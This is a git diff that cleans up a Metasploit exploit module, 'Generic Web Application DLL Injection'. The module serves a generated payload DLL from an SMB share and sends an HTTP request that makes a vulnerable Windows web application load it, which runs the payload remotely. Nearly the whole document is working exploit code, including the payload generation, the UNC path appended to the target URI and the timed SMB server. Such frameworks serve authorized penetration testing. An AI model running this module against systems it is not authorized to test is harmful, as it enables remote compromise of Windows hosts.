Clean module

modules/exploits/windows/http/generic_http_dll_server.rb

@@ -1,82 +1,85 @@
 ##
-# This module requires Metasploit: http//metasploit.com/download
+# This module requires Metasploit: http://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-# This is an example implementation of using the Msf::Exploit::Remote::SMBFileServer module
-# to serve an arbitrary DLL over HTTP 
-
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
+  Rank = ManualRanking
+
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::SMB::Server::Share
   include Msf::Exploit::EXE
 
   def initialize(info={})
     super(update_info(info,
-      'Name'          => 'HTTP DLL Server',
+      'Name'           => 'Generic Web Application DLL Injection',
       'Description'    => %q{
         This is a general-purpose module for exploiting conditions where a HTTP request
         triggers a DLL load from a specified SMB share. This module serves payloads as
         DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
         trigger the load of the DLL.
       },
-      'Author'      => [
-        'Matthew Hall <hallm@sec-1.com>',
+      'Author'         =>
+        [
+          'Matthew Hall <hallm[at]sec-1.com>'
         ],
       'Platform'       => 'win',
-      'Privileged'     => true,
-      'Arch'         => ARCH_X86, 
+      'Privileged'     => false,
+      'Arch'           => [ARCH_X86, ARCH_X86_64],
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
       'References'     =>
         [
-          [ 'URL', 'http://www.sec-1.com/blog/'],
+          ['CWE', '427']
         ],
       'DefaultOptions' =>
         {
           'EXITFUNC' => 'thread',
         },
-      'Privileged'     => true,
-      'Platform'       => [ 'win'],
       'Targets'        =>
         [
           [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
           [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
         ],
       'DefaultTarget'  => 0, # Default target is 32-bit as we usually inject into 32bit processes
+      'DisclosureDate' => 'Mar 04 2015'
       ))
+
       register_options(
         [
-          OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll']),
-          OptString.new('URI',      [true,  'Path to vulnerable URI (last argument will be the location of the file shared)', '/path/to/vulnerable/function.ext?argument=' ]),
-          OptBool.new('StripExt',   [false, 'Boolean to whether I should strip the file extension (e.g. foo.dll => foo)', true]),
+          OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']),
+          OptString.new('TARGETURI', [true,  'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]),
+          OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
         ], self.class)
+
       deregister_options('FILE_CONTENTS')
   end
 
-  def primer 
+  def setup
+    super
+
     self.file_contents = generate_payload_dll
+    self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
     print_status("File available on #{unc}...")
-    if datastore['StripExt']
-      share = "#{unc}".gsub(/\.dll/,'')
-    else
-      share = "#{unc}"
   end
-    print_status("Requesting DLL load to #{datastore['RHOST']}:#{datastore['RPORT']} from #{share}")
 
-    sploit = datastore['URI'] 
-    sploit << share
+  def primer
+    sploit = target_uri.to_s
+    sploit << unc
 
-    res = send_request_raw({
+    print_status("#{peer} - Trying to ")
+    send_request_raw({
       'method' => 'GET',
       'uri' => sploit
-    }, 5)
+    }, 3)
+  end
 
-    # Wait 30 seconds for session to be created
-    1.upto(30) do
-      break if session_created?
-      sleep(1) 
-    end
-    disconnect
+  def exploit
+    begin
+      Timeout.timeout(datastore['SMB_DELAY']) {super}
+    rescue Timeout::Error
+      # do nothing... just finish exploit and stop smb server...
+    end
   end
 end